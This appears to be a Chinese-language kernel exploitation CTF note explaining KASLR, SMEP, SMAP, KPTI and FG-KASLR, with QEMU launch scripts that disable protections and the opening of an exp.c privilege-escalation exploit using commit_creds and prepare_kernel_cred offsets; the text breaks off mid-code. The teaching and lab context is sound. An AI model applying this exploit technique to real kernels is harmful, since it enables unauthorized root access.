(1)KASLR:表示内核地址空间布局随机化,它通过随机化内核的基址值,使一些内核攻击更难实现。需要泄露内核符号的基地址来绕过
(2)SMEP:(Supervisor Mode Execution Prevention),在现代intel处理器上,当设置了CR4存器的控制位时,会保护特权进程(比如在内核态的程序)不能在不含supervisor标志(对于ARM处理器,就是PXN标志)的内存区域执行代码。(直白地说就是内核程序不能跳转到用户态执行代码),这种保护使得以往的exploit使用的ret2user的方法直接失效。ret2user即在内核控制执行流,使之跳转到用户可控的用户空间执行代码的技术。因为SMEP,在用户空间的页表的虚拟地址并没有supervisor标志,当跳转到用户态时,会触发异常。
(3)SMAP:( Supervisor Mode Access Prevention),同理,这个和SMEP差不多,只不过SMEP负责执行控制,这里负责读写控制。因此内核态不能读写用户态的内存数据。那你可能会疑惑了,如果这样限制的话,内核和用户态程序怎么交流?通过修改标志位,使某位置临时取消SMAP,来实现精确位置的读写。
(4)KPTI:(Kernel page-table isolation)即内核页表隔离。通过把进程页表按照用户空间和内核空间隔离成两块来防止内核页表泄露。
(5)FG-KASLR:(Function Granular KASLR)内核在加载的时候会以函数级别重新排布内核代码,也就是说每个函数的地址都会乱掉。
#!/bin/sh
qemu-system-x86_64
-m 256M
-cpu kvm64,+smep,+smap
-kernel vmlinuz
-initrd rootfs.cpio
-hdb flag.txt
-snapshot
-nographic
-monitor /dev/null
-no-reboot
-append "console=ttyS0 kaslr kpti=1 quiet panic=1"
level 0 保护全关
gcc exp.c -static -o ./fs/exp
# gcc exp.c -masm=intel -static -o ./fs/exp
cd fs
find . | cpio -o --format=newc > ../rootfs.cpio
cd ..
qemu-system-x86_64
-m 256M
-cpu kvm64
-kernel vmlinuz
-initrd rootfs.cpio
-hdb flag.txt
-snapshot
-nographic
-monitor /dev/null
-no-reboot
-s
-append "console=ttyS0 nokaslr nosmap nosmep nopti quiet panic=1"
exp
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <signal.h>
void get_shell();
size_t vmlinux_base = 0xffffffff81000000;
size_t user_cs, user_ss, user_rflags, user_sp;
size_t commit_creds = 0x4c6410;
size_t prepare_kernel_cred = 0x4c67f0;
void info(char *s , size_t address ){
if (address) printf(" 33[32m 33[1m[Info] %s :